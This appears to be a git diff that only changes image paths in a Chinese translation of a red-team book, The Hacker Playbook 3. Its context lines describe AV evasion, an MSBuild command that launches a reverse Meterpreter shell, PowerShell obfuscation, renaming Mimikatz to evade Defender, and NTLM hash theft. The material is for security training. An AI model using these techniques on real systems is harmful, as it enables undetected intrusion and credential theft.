--git a/docs/hacker-playbook-3/7_the_quarterback_sneak_evading_av_and_network_detection.md b/docs/hacker-playbook-3/7_the_quarterback_sneak_evading_av_and_network_detection.md index 77cbfdb2a7d4651ad185b97e0d6722e32db39113..ca39444a5baabec021bfbe1c482c9cca3181f105 100644 --- a/docs/hacker-playbook-3/7_the_quarterback_sneak_evading_av_and_network_detection.md +++ b/docs/hacker-playbook-3/7_the_quarterback_sneak_evading_av_and_network_detection.md @@ -2,7 +2,7 @@ > 译者:[@Snowming](https://github.com/Snowming04) -![](img/chapter_7/7-1.png) +![](img/7-1.png) ## 为红队行动编写工具 红队人员和渗透测试人员比较明显的区别之一就是红队人员能快速的适应并理解不同的防护。无论是理解低级语言(机器代码和汇编语言),编写`shellcode`,创建自定义的 C2 二进制可执行文件,还是修改代码来隐藏恶意程序,它们都是我们(红队)日常工作的一部分。我总是遇到不会编程的渗透测试人员,虽然这不是一项硬性要求,但是编程水平确实会决定他们专业成长的高度。 因此,我专门编写这一章节来给那些没有使用过偏向底层的低级语言编程的人一个良好的入门方向。 @@ -121,7 +121,7 @@ int decrypt(const char* string, char result[]) 该程序的第 3 版本将前一个示例中的字符串加密与使用指针调用函数的方法相结合。有趣的是,如果你将已编译的二进制文件提交到 VirusTotal(病毒检测网站),你将不再在导入部分中看到 User32.dll。在下面的图片中,左侧图像是版本1的检测结果,右侧图像是带有调用指针的版本3的检测结果 。 -![](img/chapter_7/7-2.png) +![](img/7-2.png) 你可以在以下网址找到版本3的完整源代码:https://github.com/cheetz/ceylogger/tree/master/version3 。 @@ -141,7 +141,7 @@ int decrypt(const char* string, char result[]) > 译者注:根据上面的链接,译者点进去看了每一个数据,但是发现数据都有所更新,所以把上面的内容修改为和链接到的内容一致的最新数据。但是下面的图片是书上的原图,所以是老的过期的数据。下面的图片是说,将版本3编译为 64 位的 payload,得到 0/66(无一家一家检测出)的结果,但是现在已经是 1/69,也就是 69 个杀软种有一个可以检测出病毒。 -![](img/chapter_7/7-3.png) +![](img/7-3.png) **实验:** @@ -358,7 +358,7 @@ Windows 要求: 配置和开发了恶意软件后,将其移至 Web 目录(malware.hta,malware.html,malware.payload),启动 apache2 服务,然后启动你的 Meterpreter 处理程序。你现在已经做好准备,通过诱导受害者访问你的恶意站点来对其发动社会工程学攻击!下图中给出的示例是 Sharpshooter 的 SharePoint 在线模板。当受害者使用 IE/Edge 浏览器访问你的恶意网页时,HTA 会自动下载并提示运行。一旦显示了提示并选择运行的话,stager payload 就会运行,下载辅助 payload(满足沙箱控件的情况下),并在内存中执行我们的 Meterpreter payload。 -![](img/chapter_7/7-4.png) +![](img/7-4.png) 补充信息: * https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/ @@ -378,17 +378,17 @@ Windows 要求: * 生成 * 使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器 -![](img/chapter_7/7-5.png) +![](img/7-5.png) 在我们的 Kali 实例中,我们使用 GreatSCT 来创建 `shellcode.xml` 文件,该文件包含构建信息和一个 Meterpreter 反向 http shell。需要将此文件移动到受害系统并使用 MSBuild 进行调用。 \*注意:我观察到 GreatSCT 项目正在 [develop 分支](https://github.com/GreatSCT/GreatSCT/tree/develop)上进行活跃的开发,其中包括 https Meterpreter 和其他应用程序白名单绕过命令执行。我估计在本书发布之前,就会被合并到 master 分支。 -![](img/chapter_7/7-6.png) +![](img/7-6.png) 在 Windows 受害者计算机上执行文件调用后,使用 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml` 命令,.NET 将开始构建 shellcode.xml 文件。在此过程中,将在受害者计算机上生成一个反向 http Meterpreter 会话来绕过任何应用程白名单。你可能希望编辑 shellcode.xml 文件以插入经过混淆的 payload,因为 Meterpreter 默认的 payload 很可能会触发杀毒软件。 -![](img/chapter_7/7-7.png) +![](img/7-7.png) 可以使用许多种不同的方法来进行应用程序白名单绕过,光这一部分内容就足以写成一本书。以下是一些额外的资料: * 使用 Windows 默认可执行文件的大量示例: @@ -460,11 +460,11 @@ Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy B * ENCODING * 在这个例子中,我选择了 SecureString(AES),但你可以把所有这些混淆技术都试一试。 -![](img/chapter_7/7-8.png) +![](img/7-8.png) 混淆后的字符串包含一个随机生成的密钥和一个加密的安全字符串。在管理员权限下运行 PowerShell,我们仍然可以执行完整的 payload。 -![](img/chapter_7/7-9.png) +![](img/7-9.png) 我们也可以回到主屏幕并创建混淆的 launcher: * main @@ -472,11 +472,11 @@ Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy B * CLIP++ * 选择你的执行 flag -![](img/chapter_7/7-10.png) +![](img/7-10.png) 更棒的是,查看 Windows PowerShell 日志我们会发现,如果脚本是混淆的,日志中也仅仅是记录了混淆后的东西。这个特性可以帮助我们躲避杀毒软件和 SEIM 警报工具。 -![](img/chapter_7/7-11.png) +![](img/7-11.png) 除了 Invoke-Obfuscation 之外,Daniel 还创建了一个名为 [Invoke-CradleCrafter](https://github.com/danielbohannon/Invoke-CradleCrafter) 的工具,该工具专注于远程下载 cradle,是一个 PowerShell 2.0+ 版本兼容的 PowerShell 远程下载 cradle 生成器和混淆器。Invoke-CradleCrafter 的 github README 文档中介绍说,“Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载 cradle。此外,它可以帮助蓝队测试环境检测的有效性。Invoke-CradleCrafter 可以检测 Invoke-Obfuscation 产生的输出,但是在处理 Invoke-CradleCrafter 时可能会失败,因为它不包含任何字符串拼接、编码、复选标记、类型转换等”。 @@ -520,15 +520,15 @@ HideMyPS 将找到所有函数并使用 ROT 对它们进行混淆处理,从 Po * cd /opt/HideMyPS * python hidemyps.py invoke_mimikatz.ps1 [filename.ps1] -![](img/chapter_7/7-12.png) +![](img/7-12.png) 现在,看看原始文件和你创建的新文件之间的区别。首先,你可以看到函数名称全部混淆,变量已经被改,字符串被分解为两半,并且所有注释都移除了。 -![](img/chapter_7/7-13.png) +![](img/7-13.png) 你必须记住的一件事是我们更改了 PowerShell 脚本中的所有函数名称。因此,为了调用函数,我们将不得不回顾我们的混淆文件,看看我们做了什么来替换 `Invoke-Mimikatz` 函数。在这个例子中,`Invoke-Mimikatz` 改名为 `Vaibxr-Zvzvxngm`。以下示例是在完全修补的 Windows 10 上运行的,其中 Windows Defender 已经更新到最新版本。 -![](img/chapter_7/7-14.png) +![](img/7-14.png) ## 本章总结 作为红队成员或渗透测试工程师,我们总是在与主机/网络检测工具玩猫捉老鼠的游戏。这就是为什么理解潜在保护体系的工作机制、编写底层代码以直接与 Windows API 而不是 shell 命令进行交互,以及跳出框框进行创造性思考这些能力是非常重要的。如果你的关注点仅限于一些常用工具,那么你的入侵行动有很大的概率会在企业环境中被检测到。如果这些工具是公开的,那么安全厂商很可能会在它们刚出现时候就对其进行逆向并且为它们开发签名。你可以利用当前已有的攻击工具并以某种方式对其进行定制化二次开发,使其不能被这些安全厂商识别。 diff --git a/docs/hacker-playbook-3/8_special_teams_cracking_exploits_and_tricks.md b/docs/hacker-playbook-3/8_special_teams_cracking_exploits_and_tricks.md index 2f8f01b5214140adae300c8a70d466654d6461bc..32efe472fbd9abdaa8abab27a3b78910d0a63fc7 100644 --- a/docs/hacker-playbook-3/8_special_teams_cracking_exploits_and_tricks.md +++ b/docs/hacker-playbook-3/8_special_teams_cracking_exploits_and_tricks.md @@ -4,7 +4,7 @@ > > 校对者:[@鶇](http://wp.blkstone.me)、@哈姆太郎、@匿名jack -![](img/chapter_8/8-1.png) +![](img/8-1.png) 本章重点介绍了一些我个人发现的对红队和渗透测试都有用的不同资源。这些资源可能不会在每个模拟入侵行动中都用到,但对于特定场景或在某一次的案例中可能非常有用。 @@ -57,7 +57,7 @@ autorun /opt/empire_autoload.rc powershell autorun show ``` -![](img/chapter_8/8-2.png) +![](img/8-2.png) 如你所见,当代理连接时,它会自动运行 `get_user` 和 `get_computer` 的 PowerShell 脚本。这些脚本的所有运行结果都将存储在 agent.log 文件中。在这种情况下,我们的代理名称是 N6LM348G,因此我们的日志将存储在 /opt/Empire/downloads/N6LM348G/agent.log。 @@ -280,7 +280,7 @@ Speed.Dev.#*…..: 633.7 GH/s * PS> . .\psgetsys.ps1 * PS>[MyProcess]::CreateProcessFromParent(, ) -![](img/chapter_8/8-3.png) +![](img/8-3.png) ## 在不触及 LSASS 的情况下检索 NTLM 哈希值 Elad Shamir 对怎样在不对 lsass.exe 进程进行操作的情况下抓取 NTLM 哈希进行了广泛的研究。在这种攻击之前,通过 Mimikatz 操作 LSASS 抓取哈希值的操作受到 Windows 10企业版和 Windows Server 2016中的凭证保护的限制。Elad 开发了一种称为 `Internal Monologue Attack` 的攻击,它执行以下操作: @@ -290,7 +290,7 @@ Elad Shamir 对怎样在不对 lsass.exe 进程进行操作的情况下抓取 NT * 恢复 `LMCompatibilityLevel`、`NTLMMinClientSec` 和 `RestrictSendingNTLMTraffic` 的原始值。 * [https://github.com/eladshamir/Internal-Monologue] -![](img/chapter_8/8-4.png) +![](img/8-4.png) > `译者注` 参考资料:[Windows 下的密码 hash——Net-NTLMv1 介绍](http://www.mottoin.com/tech/110082.html) diff --git a/docs/hacker-playbook-3/9_two_minute_drill_from_zero_to_hero.md b/docs/hacker-playbook-3/9_two_minute_drill_from_zero_to_hero.md index 74922741e5624bd8123e46c37b6afb39beea251a..65b34c0bad0f53ff297f2e2fb96a3fe5ccc25a9c 100644 --- a/docs/hacker-playbook-3/9_two_minute_drill_from_zero_to_hero.md +++ b/docs/hacker-playbook-3/9_two_minute_drill_from_zero_to_hero.md @@ -4,7 +4,7 @@ > > 校对者:@匿名jack -![](img/chapter_9/9-0.PNG) +![](img/9-0.PNG) 随着时间的推移,直到测试的最后一天你都还没有从目标外部网络取得比较好的突破。因为你需要进入目标内网,了解他们公司的网络布局,获得一些敏感文件或者代码,然后找到更多的网段和高权限用户,最终需要拿到 Cyber Space Kittens 公司太空计划的相关资料,此时你感觉压力很大。你的任务是窃取最新的太空计划相关的绝密信息并且不能失败...现在是两分钟操练的时候了。只剩一点点时间了,你需要从10码线开始运球,突破所有的防守保护,扫清路上的障碍,最终把球带到90码线安全着陆。 @@ -16,7 +16,7 @@ ## 20码线 你在纠结要不要直接向 Neil 发送恶意的 payload,但是那样太明显了。于是你向他发送了一个你刚搭建好的一个带有猫猫照片的网站的链接,“嘿,Neil,我知道你喜欢猫!看看我做的这个页面吧!” -![](img/chapter_9/9-1.png) +![](img/9-1.png) 几分钟之后,你在论坛网站上收到的 Neil 的回复:“哈哈,我喜欢这个太空猫啦!”Neil 没有意识到他访问的网页有一个定制的 JavaScript 的 payload,这段 JS 代码在他的机器后台运行,扫描机器所在的 CSK 内部网络,并且危及未经身份验证的 Jenkins 和 Tomcat Web 服务器。几秒钟之后,你得到了一个弹回来的 Empire 的 shell,你终于松了一口气。 @@ -26,7 +26,7 @@ ## 40码线 你清楚自己需要快速离开这个第一台主机。于是你将所有拿回的 Kerberos ticket(票据)导入到 Hashcat 程序中,然后开始破解。你发现用那些额外的 BUG 赏金购买了几块1080Ti显卡是个非常正确的决定。当 hash 开始破解的时候,你注意到有一些服务账户的密码已经破解完毕,但是你现在还没时间去处理这些。你仔细阅读 Bloodhound 的输出结果,发现这台受害的机器是属于 Neil Pawstrong 的,并且 Neil 的 AD 账户(域账户)可以访问另一个属于 Buzz Clawdrin 的机器。通过使用 WMI 进行连接,你远程生成一个新的 payload 到 Buzz 的机器中,然后注入到属于 Buzz 账户进程中。 -![](img/chapter_9/9-2.png) +![](img/9-2.png) ## 50码线 幸运的是,你的账户(Neil 的域账户)在 Buzz 主机的本地管理员成员组中,这意味着你能在这个主机上做更多的协同工作。 使用 Bloodhound 进行信息收集,你能够遍历整个 CSK-LAB 域的网络,但你意识到你在这个主机中并没有 `system` 权限。不用担心,你可以加载 `powerup` 这个 powershell 脚本文件来查找这个主机的错误配置,进而让你权限提升到 `system` 权限。如你所料,服务二进制文件有大量没加引号的路径,你可以在那写入你自己的 payload。你可以快速做一个新的恶意的二进制文件来获得 `system` 权限。 diff --git "a/docs/hacker-playbook-3/\344\273\213\347\273\215.md" "b/docs/hacker-playbook-3/\344\273\213\347\273\215.md" index 871e2e2bd4c15b1997ebd4a3b350f01df9d817a4..55e13f9897e4e6286175892b366a67a2aba8bda4 100644 --- "a/docs/hacker-playbook-3/\344\273\213\347\273\215.md" +++ "b/docs/hacker-playbook-3/\344\273\213\347\273\215.md" @@ -2,7 +2,7 @@ > 译者:[@Snowming](https://github.com/Snowming04) -![](img/introduction/cat.PNG) +![](img/cat.PNG) 在本书的上一版本(The Hacker Playbook 2)中,你的任务是渗透 SUCK 公司的武器设备库。然而他们现在又建立了新的部门,称之为 Cyber Space Kittens (CSK)。这个新部门吸取了之前安全评估的所有经验教训,加强了他们的系统,建立了本地安全操作中心,甚至还创建了安全策略。所以他们再次聘用你作为渗透人员,来测试一下他们所做的所有安全限制是否有助于公司的整体防御。 @@ -27,7 +27,7 @@ 渗透测试和红队的另一个主要区别是时间范围,对于渗透测试,不出意外的话我们会很幸运的有两周的时间。然而,红队的测试短达两周,长达六个月。这是因为我们需要模拟真实的攻击、社会工程学、远控木马等等。最后要说的是,还有一个显著的区别是红队的测试结果是两种团队的共同努力。并非使用漏洞列表,红队的调查结果需要更多地针对蓝队团队流程,政策,工具和技能等方面。在你最终的报告中,你可能会有一些能用于模拟入侵的漏洞方面的发现,但更多的是需要发现应用程序中的漏洞。要永远记住,模拟入侵的结果是要针对制定的安全计划,而不是单纯的信息技术。 -图片名称 +图片名称 作为红队,我们要向公司展示自己的价值,这和挖掘到的漏洞数量和漏洞严重性无关;它和能证明安全计划如何正常运行有关。红队的目的是模拟真实入侵事件,所以我们要尽可能的低调。从这些测试计划中抽取出的两个强有力的衡量指标是检测时效(TTD)和缓解时效(TTM)。虽然这些不是新的概念,但对红队来说仍然很有价值。 diff --git "a/docs/hacker-playbook-3/\345\205\263\344\272\216\344\275\234\350\200\205.md" "b/docs/hacker-playbook-3/\345\205\263\344\272\216\344\275\234\350\200\205.md" index e746f127ef03d645c385466d6f519ef156e3f38c..5b8a88b8a1bebd78c157cab293df65bf2f070569 100644 --- "a/docs/hacker-playbook-3/\345\205\263\344\272\216\344\275\234\350\200\205.md" +++ "b/docs/hacker-playbook-3/\345\205\263\344\272\216\344\275\234\350\200\205.md" @@ -2,7 +2,7 @@ > 译者:[@Snowming](https://github.com/Snowming04) -![](img/introduction/author.PNG)
+![](img/author.PNG)
作者 Peter Kim 从事信息安全行业超过14年,在渗透测试/红队领域工作超过12年。 他曾服务于多家公用事业公司、财富1000娱乐公司、政府机构以及大型金融机构。虽然他最为知名的是一书系列,但他却热衷于建立一个“安全”的安全社区,指导学生并培训他人。他创立并维护着南加州最大的一家技术安全俱乐部“LETHAL”(www.meetup.com/LETHAL ),并在他的网站 LETHAL Security(lethalsecurity.com)进行私人培训,同时他还经营一家渗透测试公司,名为Secure Planet(www.SecurePla.net)。